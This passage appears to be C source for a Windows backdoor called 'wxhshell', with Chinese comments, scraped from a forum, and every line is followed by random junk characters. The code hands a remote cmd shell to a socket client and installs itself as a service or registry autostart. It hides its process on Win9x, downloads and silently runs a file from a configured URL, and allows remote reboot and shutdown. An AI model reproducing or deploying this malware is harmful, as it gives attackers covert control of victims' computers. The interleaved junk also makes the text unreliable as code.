      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OX7a72z  
    break; 67Ev$a_d"  
  } D?FmlDTr[  
  // 安装 pVM1%n:#  
  case 'i': { *v$j n  
    if(Install()) ?pWda<&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N/eus"O;  
    else " {X0&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @&x'.2[nv  
    break; `! xI!Y\  
    } hka%!W5  
  // 卸载 07]9VJa  
  case 'r': { >a bp se  
    if(Uninstall()) EE*|#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :31?Z(fQ  
    else .u'MMe>^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BOD!0CR5  
    break; y;%\ w-.\  
    } M/,lP  
  // 显示 wxhshell 所在路径 NHcA6y$Cz  
  case 'p': { 6~l+wu<$  
    char svExeFile[MAX_PATH]; -p"}K~lt:  
    strcpy(svExeFile,"\n\r"); NiMsAI@j  
      strcat(svExeFile,ExeFile); C`-CfZZ  
        send(wsh,svExeFile,strlen(svExeFile),0); @; tM R|p  
    break; x)pR^t7u8  
    } m/q`k  
  // 重启 Cj=_WWo  
  case 'b': { r$<M*z5q(\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); G#~U\QlG-  
    if(Boot(REBOOT)) yg4#,4---b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1\)C;c,  
    else { Res4;C  
    closesocket(wsh); 5j v*C]z  
    ExitThread(0); %f?Zg44  
    } ??P %.  
    break; a)L|kux;l  
    } F2{SC?U  
  // 关机 VUOe7c=  
  case 'd': { R?y_tho4A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4];>O  
    if(Boot(SHUTDOWN)) 5LZs_%#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P @Fx6  
    else { QX42^]({;c  
    closesocket(wsh); q VavP6I  
    ExitThread(0); "YAnGGx)LZ  
    } >*uj )u%  
    break; q8uq%wf  
    } O`I}Lg]~q  
  // 获取shell ~~O4!|t  
  case 's': { ,fhF-%Q!g  
    CmdShell(wsh); #guK&?Fye  
    closesocket(wsh); "$P/ek  
    ExitThread(0); I%($,kd}s  
    break; U5OFw+J  
  } #M<YNuE#"  
  // 退出 F'"-aB ~  
  case 'x': { i(ZzE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HCx0'|J  
    CloseIt(wsh); 8Zy*#[-  
    break; ysCK_  
    } i'10qWz  
  // 离开 KdD~;Ap$  
  case 'q': { TRJTJM_k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s IBP$9  
    closesocket(wsh); ,Vl2U"   
    WSACleanup(); `[e0_g\  
    exit(1); =$%-RX7  
    break; v V;]?  
        } ;$8ptB.  
  } -d thY(8  
  } 9g# 62oIg  
"a(e2H2&T4  
  // 提示信息 (zxL!ZR<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N<<O(r  
} q(csZ\e=  
  } v$+A!eo  
J1 w3g,  
  return; @BPQ >  
} O S#RCN*  
{:=W) 37U  
// shell模块句柄 Aar]eY\  
int CmdShell(SOCKET sock) ThkCKM  
{ K:% MhH-  
STARTUPINFO si; auqN8_+=  
ZeroMemory(&si,sizeof(si)); \t`VqJLyu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I8 [ *  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bSn={O"M  
PROCESS_INFORMATION ProcessInfo; rCsC}2O  
char cmdline[]="cmd"; }@/Ox  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yMzy!b Ky  
  return 0; Qmb+%z  
} epG]$T![  
1]Cb i7  
// 自身启动模式 xFJT&=Af W  
int StartFromService(void) wWSw0 H/  
{ -m[ tYp,q  
typedef struct xA<-'8ST  
{ kM@e_YtpY  
  DWORD ExitStatus; h~qv_)F_  
  DWORD PebBaseAddress; [w-Tf&  
  DWORD AffinityMask; k<Xb< U  
  DWORD BasePriority; gPA8A>U)[  
  ULONG UniqueProcessId; \gK'g-)}  
  ULONG InheritedFromUniqueProcessId; J`C 2}$ ~  
}   PROCESS_BASIC_INFORMATION; Q@8(e&{#W  
+>AVxV=A#  
PROCNTQSIP NtQueryInformationProcess; K>5 bb  
&x=_n'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F_i"v5#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #f;6Ia>#  
t:P7ah  
  HANDLE             hProcess; .r&CIL >  
  PROCESS_BASIC_INFORMATION pbi; 9V~hz (^  
65VTKlDD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h?h)i>  
  if(NULL == hInst ) return 0; q&O9W?E8dG  
!)CY\c4}d>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f3^qO9R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SUIu.4Mz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f:y:: z  
GT80k]e.  
  if (!NtQueryInformationProcess) return 0; B.smQt  
R4'>5.M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k {vd1,HZ  
  if(!hProcess) return 0; 4E}Q<?UYSt  
b|G~0[g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :7X{s4AU6  
nr8#;D  
  CloseHandle(hProcess); ,aq>9\ pi  
+fKV/tSWi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b|may/xWH  
if(hProcess==NULL) return 0; %rf6 >  
__1Hx?f  
HMODULE hMod; \TnK<83  
char procName[255]; ~|"uuA1/#O  
unsigned long cbNeeded; S6C DK:  
MtgY `p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2P${5WT  
! ,{N>{I  
  CloseHandle(hProcess); Oiqc]4TL  
H#WqO<<v  
if(strstr(procName,"services")) return 1; // 以服务启动 X+HPdrT  
6' \M:'<0e  
  return 0; // 注册表启动 3u 7A(  
} j|qdf3^f  
U#sv.r/L}3  
// 主模块 69Z`mR  
int StartWxhshell(LPSTR lpCmdLine) f_;tFP B  
{ rf 60'   
  SOCKET wsl; QNv5CQ&  
BOOL val=TRUE; E7.{SGH}  
  int port=0; n{qVF#N_  
  struct sockaddr_in door; qlg.\H:W~  
DY/%|w*L  
  if(wscfg.ws_autoins) Install(); W>c*\)Xk !  
7:=(yBG  
port=atoi(lpCmdLine); %F$ ]v  
h/y0Q~|/d  
if(port<=0) port=wscfg.ws_port; {w,<igh  
ACFEM9 [=  
  WSADATA data; F9(jx#J~t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (KfQ'B+  
cRCji^,KJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O-pH~E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |5q,%9_  
  door.sin_family = AF_INET; D vN0h(?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); paYS< 8In  
  door.sin_port = htons(port); ep`8LQf  
_5p]Arg?}&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E@l@f  
closesocket(wsl); 2#CN:b]+  
return 1; s0h0Ep ED  
} xc05GJ  
%,@e- &>  
  if(listen(wsl,2) == INVALID_SOCKET) { m(5LXH Jnv  
closesocket(wsl); jaVx9FR +  
return 1; Jvj* z6/a  
} h+cOOm-)  
  Wxhshell(wsl); P!)F1U]!  
  WSACleanup(); a^X% (@Sg  
Nv=%R  
return 0; y 1Wb/ d  
}s#4m  
} '!4\H"t  
(Hmhb}H  
// 以NT服务方式启动 P.=Dd"La  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4{ZVw/VP,-  
{ yFDt%&*n^  
DWORD   status = 0; naeppBo  
  DWORD   specificError = 0xfffffff; zP@\rZ@4  
onS4ZE3B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *13-)yfd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M0)ZJti  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Fa </  
  serviceStatus.dwWin32ExitCode     = 0; %+#l{\z  
  serviceStatus.dwServiceSpecificExitCode = 0; O`PQ4Q*F  
  serviceStatus.dwCheckPoint       = 0; #"H<k(-Cz  
  serviceStatus.dwWaitHint       = 0; %RzkP}1>E  
Lm0q/d2|\X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); us<dw@P7{  
  if (hServiceStatusHandle==0) return; Y9%zo~]-W'  
c"Q9ob  
status = GetLastError(); V4W(> g  
  if (status!=NO_ERROR) WS1Y maV  
{ D*_. 4I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uMZ<i}  
    serviceStatus.dwCheckPoint       = 0; qA25P<  
    serviceStatus.dwWaitHint       = 0; - s{&_]A~  
    serviceStatus.dwWin32ExitCode     = status; |y?W#xb  
    serviceStatus.dwServiceSpecificExitCode = specificError; hsQ*ozv[)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l~@ -oE  
    return; A9Pq}3U  
  } K!-iDaVI  
k^s7s{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; & ##JZ  
  serviceStatus.dwCheckPoint       = 0; Z^KWYe'w  
  serviceStatus.dwWaitHint       = 0; YPw=iF]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nA=E|$1  
} v|jwz.jM  
9om}j  
// 处理NT服务事件,比如:启动、停止 k4^!"~<+0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uw`J5TND  
{ 1vq c8lC  
switch(fdwControl) w'mn O'%  
{ />7G  
case SERVICE_CONTROL_STOP: UVsF !0  
  serviceStatus.dwWin32ExitCode = 0; fnFI w=d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1=~##/at  
  serviceStatus.dwCheckPoint   = 0; `YBHBTG'o!  
  serviceStatus.dwWaitHint     = 0; `#j;\  
  { PBwKRD[I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xP'"!d4^i  
  } ytfr'sr/  
  return; 9~l8QaK  
case SERVICE_CONTROL_PAUSE: xR&Le/3+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; A2`Xh#o  
  break; <bywi2]z  
case SERVICE_CONTROL_CONTINUE: -t125)6I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 99b"WH^3$y  
  break; Bv6~!p  
case SERVICE_CONTROL_INTERROGATE: 0F &(}`V  
  break; S;nlC  
}; id1gK(F8H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'puiahA  
} .bRDz:?j  
bHz H0v]:  
// 标准应用程序主函数 cNl$ vP83z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v0pev;C  
{ 5&134!hC  
 LD}<|  
// 获取操作系统版本 ovvg"/>L  
OsIsNt=GetOsVer(); 7X.B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V?jot<|$  
o& ?:pE  
  // 从命令行安装 #ePtfRzJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); A_5M\iN\  
]Lm?3$u$  
  // 下载执行文件 ( D@ U%  
if(wscfg.ws_downexe) { difAQ<`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {9nH#yv  
  WinExec(wscfg.ws_filenam,SW_HIDE); QnIF{TS=  
} e:|Bn>*  
GVM)-Dp]  
if(!OsIsNt) { FyllVrK  
// 如果时win9x,隐藏进程并且设置为注册表启动 n55s7wzM  
HideProc(); fZxEE~Q1  
StartWxhshell(lpCmdLine); H4ancmy  
} $~1~+s0$  
else e:n3@T,R  
  if(StartFromService())  U%tpNWB  
  // 以服务方式启动 @$o^(my  
  StartServiceCtrlDispatcher(DispatchTable); ygqWy1C  
else y,$zSPJCi  
  // 普通方式启动 .:SY:v r  
  StartWxhshell(lpCmdLine); ?]58{O(?c  
9XN/ w p  
return 0; :b(Nrj&TQ[  
}
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只看该作者 1 发表于: 2006-10-10
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